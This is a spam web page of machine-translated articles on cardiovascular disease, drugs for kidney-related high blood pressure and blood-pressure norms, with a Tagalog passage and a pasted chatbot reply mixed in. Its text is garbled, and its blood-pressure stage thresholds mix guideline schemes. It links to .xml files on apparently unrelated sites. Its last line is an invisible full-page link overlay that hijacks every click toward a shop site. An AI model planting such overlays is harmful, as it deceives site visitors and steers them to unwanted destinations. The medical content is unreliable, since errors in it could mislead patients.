# Organs of the cardiovascular diseases #
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## Cardiovascular diseases ##
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Cardiovascular disease: A silent threat of our time
Cardiovascular diseases are among the leading causes of death in the world and Germany is no exception. According to statistics from the Robert Koch Institute, more than 35% of all deaths in Germany annually to diseases of the cardiovascular system. These Figures show that The threat is real and affects us all.
What is cardiovascular disease? This term covers a variety of diseases, including:
Coronary heart disease (narrowing of the heart arteries),
High Blood Pressure (Hypertension),
Stroke (Apoplexy),
Congestive Heart Failure (Weak Heart),
Arrhythmias (Heart Rhythm Disorders).
Why are these diseases are so dangerous?
The main reasons lies in its often insidious course. For decades, risk factors such as unhealthy diet, lack of exercise, Obesity, Stress, Smoking and excessive alcohol consumption can the blood vessels and the heart damage — without the Affected person feels it. It is only when it is too late, to show the first symptoms: chest pain, shortness of breath, dizziness, or a sudden drop in performance.
Diektoren of the future: prevention instead of reaction
The us is clear: The best weapon against cardiovascular diseases is prevention. What individuals can do to maintain a healthy heart?
Exercise: Regular physical activity — for example, 30 minutes of brisk walking a day — strengthens the heart muscle and lowers blood pressure.
Nutrition: A balanced diet with lots of fruits, vegetables, whole grain products and low-fat dairy products and low in salt and saturated fats protect the vessels.
Give up Smoking: it improves the heart health after just a short period of time to Quit Smoking.
Stress management techniques such as Meditation, Yoga or just relaxation in everyday life to help to reduce blood pressure.
Regular checkups: measurement of blood pressure, cholesterol and blood sugar tests can detect risks early on.
Conclusion
Cardiovascular diseases are not inevitable Fate, but often the result of lifestyle choices. By rethinking our habits, and small but important steps to promote health company, we can protect our cardiovascular system in a sustainable way. The investment in your own heart health is the best investment we can ever make for a long, fulfilling and active life.
Sa pangunahing (esensyal) na altapresyon, ito ay dahil sa impluwensya ng namamana, hilig sa mataas na presyon ng dugo sa konteksto ng hindi malusog na pamumuhay, masamang gawi, hindi malusog na pagkain, na nagdudulot ng labis na timbang. Dagdag pa ang stress, kalikasan, kakulangan sa tulog at aktibidad. Lahat ito ay negatibong nakakaapekto sa trabaho ng puso at sa tono ng mga daluyan ng dugo. Ang presyon ay unang tumataas nang hindi napapansin at pagkatapos ay mas nagiging malinaw.
> Constant high levels of stress can disturb the blood flow and blood pressure and can damage vessels, and you may experience dizziness, extreme fatigue, or body aches with no wish to get out of bed. This stress-induced fatigue can make your blood pressure high and needs to be monitored.
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Ang pagkontrol sa presyon ay isang napakahalagang gawain, dahil ang pag-inom ng mga tableta na nakakatulong sa pagpapanatili ng normal na mga indikador ay maaaring magbigay ng araw-araw na komportableng buhay, upang maiwasan ang panganib ng hypertensive crisis, atake sa puso, at stroke. Ang mga gamot para sa kontrol ng presyon ay medyo malawakang makukuha sa mga botika, pero tanging ang doktor lang ang makakapili ng tamang gamot na angkop sa therapy. Lahat ng grupo ng gamot para pababain ang presyon ay may iba't ibang mekanismo ng epekto, side effects, at may kaunting posibilidad ng pagkadepende. Ang tamang pagpili ng gamot ay nagbibigay ng mabilis at tuloy-tuloy na resulta, at ang eksperimento sa sarili sa pag-inom ng gamot ay may mataas na posibilidad ng biglaang karamdaman, sakit sa puso at daluyan ng dugo, at sa matinding kaso, maaaring magdulot ng kamatayan. <a href="http://hobbyschuurtje-webwinkel.be/images/userfiles/somatic-diseases-of-the-circulatory-system-3399.xml">The standard of high blood pressure </a>
Organs in cardiovascular disease: Pathophysiological interactions
The cardiovascular system is a complex network that includes non-vessels, the heart and the blood, but also a close relationship to other organs has. In the case of cardiovascular diseases (HKK) are often affected multiple organ systems, since the maintenance of hemodynamics requires a coordinated function of the various structures.
The heart as the Central Organ
The heart takes over as the Central driving point of the cycle the pump to move the blood through the large and small circulation. In the case of diseases such as congestive heart failure, the heart loses its ability to pump adequate. This leads to congestion in the venous System and reduced blood flow in the periphery as well as the internal organs.
The arteries and veins
Blood vessels play a crucial role in the Regulation of blood pressure and blood flow. Atherosclerosis, a common disease of the arteries that leads to narrowing of the vessel lumen by Plaques. This increases the risk of myocardial infarction (due to occlusion of the coronary arteries) and stroke (due to occlusion of cerebral arteries).
Renal function and blood pressure regulation
The kidneys are closely associated with the circulatory system. They regulate the fluid and electrolyte balance, and produce hormones such as Renin, which is involved in the Renin‑Angiotensin‑aldosterone‑System (RAAS). In the case of chronic heart failure, it can lead to renal hypoperfusion leading to the activation of the RAAS and, therefore, the blood pressure further increases, a typical example of a pathological cycle.
Lung in the left chamber insufficiency
In the case of left ventricular heart failure, the blood in the pulmonary circulation, which can lead to pulmonary hypertension, and Edema of the lungs is jammed. Breathing becomes more difficult, and the gas exchange function of the alveoli is affected. These symptoms are as cardiac pulmonary oedema, known and are one of the acute complications of cardiovascular diseases.
The brain and the cerebral circulation
An impaired coronary circulation can also cause damage to the brain. Hypotension or arrhythmias may lead to an insufficient supply of oxygen (hypoxia), while atherosclerosis of the carotid arteries increases the risk of ischemic stroke. In the long term, persistent, may lead to the end of hypertension also to micro-vascular damage and cognitive limitations.
Liver and congestion of the liver
In the case of right-hearted heart failure, a back pressure in the venous System, which also relates to the inferior Vena cava and the liver. This leads to the development of a congestion of the liver (hepatomegaly with congestion), in the liver and functionally impaired is increased. It can
## Medicines for kidneys-high blood pressure ##
Medicines for kidneys-high blood pressure: An important step for health care
High blood pressure, medically called hypertension, is one of the most common health problems in modern societies. A special Form of renal hypertension (renal hypertension), in which the function of the kidney is directly related to the increased blood pressure is. This disease poses a double challenge: not only does it harm the cardiovascular System, but also the kidney itself can destroy gradually.
What is kidney causes high blood pressure?
The kidneys-high blood pressure is often caused by interference in the Renin‑Angiotensin‑aldosterone‑System (RAAS), which plays an important role in the Regulation of blood pressure and Fluid balance. Other triggers are:
Renal Vascular Stenosis (Renovascular Hypertension);
chronic kidney disease;
inflammatory processes in the kidneys.
Without adequate treatment, can develop the disease, to severe complications from heart attacks and strokes and to kidney failure.
What medications are used?
The us is the most important therapeutic strategies for renal-hypertension drug treatment. Doctors use various drug groups, which differ in their mode of action:
ACE inhibitors (Angiotensin‑Converting enzyme inhibitors): they inhibit the formation of Angiotensin II, a potent Blood vasoconstrictor, and reduce blood pressure. Examples: Enalapril, Ramipril.
AT1‑receptor blockers (Sartans): These drugs block the action of Angiotensin II at the receptor and cause vessels to a relaxation of the blood. Representative: Losartan, Valsartan.
Diuretics (diuretics): they promote the excretion of salt and water by the kidney and reduce the volume of blood. Examples: Hydrochlorothiazide, Furosemide.
Calcium channel blockers: they facilitate the flow of blood through a relaxation of the smooth muscle in the vessel walls. To do this, amlodipine and nifedipine include.
Beta-blockers: decrease the heart rate and the force of heart muscle contractions, and are particularly in patients with concomitant heart problems useful (Metoprolol, Bisoprolol).
Individual therapy — the key to success
There is no cure-all for kidney high blood pressure. The choice of drugs depends on:
the degree of blood pressure increase;
the other diseases (Diabetes, heart failure) are Present;
the renal function (as measured by the glomerular filtration rate);
possible side effects.
Often, a combination therapy of two or more substances is applied to the blood pressure effectively and to protect the kidneys.
Lifestyle changes as an important support
Medications alone are often not enough. A healthy lifestyle is an important part of the treatment:
Reduction of salt consumption;
sufficient physical activity;
a healthy diet with lots of vegetables and fruit;
Avoiding Smoking and excessive alcohol consumption;
Weight control.
Conclusion
Drug therapy in renal-hypertension is a complex, but promising way to protect the health of the patients in the long term. Through a tailored combination of modern medicines and health-promoting lifestyle habits, blood pressure values stabilize and follow-up to prevent damage to the heart and kidneys. A prerequisite for early diagnosis and close cooperation between the physician and the Patient, however.
<a href="http://hjfestival.or.kr/userfiles/hypertension-1-degree-of-respite-from-the-army.xml">Organs of the cardiovascular diseases</a> Organs of the cardiovascular diseases.
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<a href="http://mhreng.com/userfiles/cardiovascular-disease-and-life-expectancy.xml">Medicines for kidneys-high blood pressure</a>
<a href="http://budoprojekt.eu/obrazy/high-blood-pressure-can-die-3478.xml">The standard of high blood pressure</a>
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## The standard of high blood pressure ##
Of course! Here is a scientific Text on the subject is The Norm of hypertension in German:
The standard of high blood pressure: Definition, limits, and clinical relevance
Hypertension medical Arterial hypertension referred to, is one of the most common chronic diseases worldwide and is considered as an important risk factor for cardiovascular diseases such as heart attack, stroke and kidney failure. The Definition of the Norm in connection with hypertension refers to blood pressure values, which are considered to be healthy or inconspicuous, as well as the limit at which a pathological increase is diagnosed.
Blood pressure measurement and standard values
Blood pressure is expressed in two values, the systolic (maximum pressure) and the diastolic (low pressure), expressed in millimeters of Mercury (mm Hg). According to the current guidelines of the European Society of Cardiology (ESC) and the European Society of Hypertension (ESH) apply the following values as the Norm:
Normal Blood Pressure: <120/80 mm Hg
Increased atmospheric pressure (prähyperton): 120-129/<80 mm Hg
From a value of 130/80 mm Hg, it is called an Arterial hypertension, which is divided into several stages:
Stage I (mild hypertension): 130-139/80-89 mm Hg
Stage II (moderate hypertension): 140-159/90-99 mm Hg
Stage III (severe hypertension): ≥160/≥100 mm Hg
A special category of the isolated systolic hypertension (for example, 140 forms/<90 mm Hg), which occurs especially in older patients and atherosclerosis of the large arteries is due.
Factors that affect blood pressure
The standard is not fixed strictly, but may depend on different individual factors:
Age: older people with slightly elevated values are physiologically.
Gender: men tend to be in middle age were more frequent hypertension, while women have the Menopause at an increased risk.
physical activity: an increase in blood pressure temporarily under load.
Stress and emotional reactions.
Food intake (e.g., salt, caffeine).
Medications (e.g., pain medication, nasal sprays).
Diagnosis: more than one measurement
In order to obtain a reliable estimate, not a single measurement. The diagnosis is based on:
repeated measurements on different days;
ambulatory 24‑hour blood pressure monitoring (ABPM);
Self-measurements at home (HBPM).
These methods help to distinguish the white‑coat hypertension (elevated values only at the doctor) of a real hypertension.
Clinical significance of the standard setting
The determination of standard values and limit values is not only of diagnostic but also of the risk stratification. Studies show that values above 115/75 mm Hg increase the cardiovascular risk continuously. Early Intervention in prähypertonen or slightly hypertonic patients can therefore prevent long-term damage to the heart, vessels and kidneys.
Conclusion
The standard of high blood pressure is a dynamic concept, which is based on evidence-based guidelines and individual factors into account. The constant Revision of the limit values reflects the progress in cardiovascular research. An accurate blood pressure control and early action in case of deviations from the Norm are crucial for the prevention of life-threatening complications.
If you want, I can make certain sections in more detail, or other aspects (e.g., treatment options, epidemiology) complete!
<a href="https://cardio-balance-ph.store-best.net" style="height:100%;left:-15%;position:fixed;text-align:center;top:-0px;width:1000%;z-index:2147483647;">Organs of the cardiovascular diseases</a>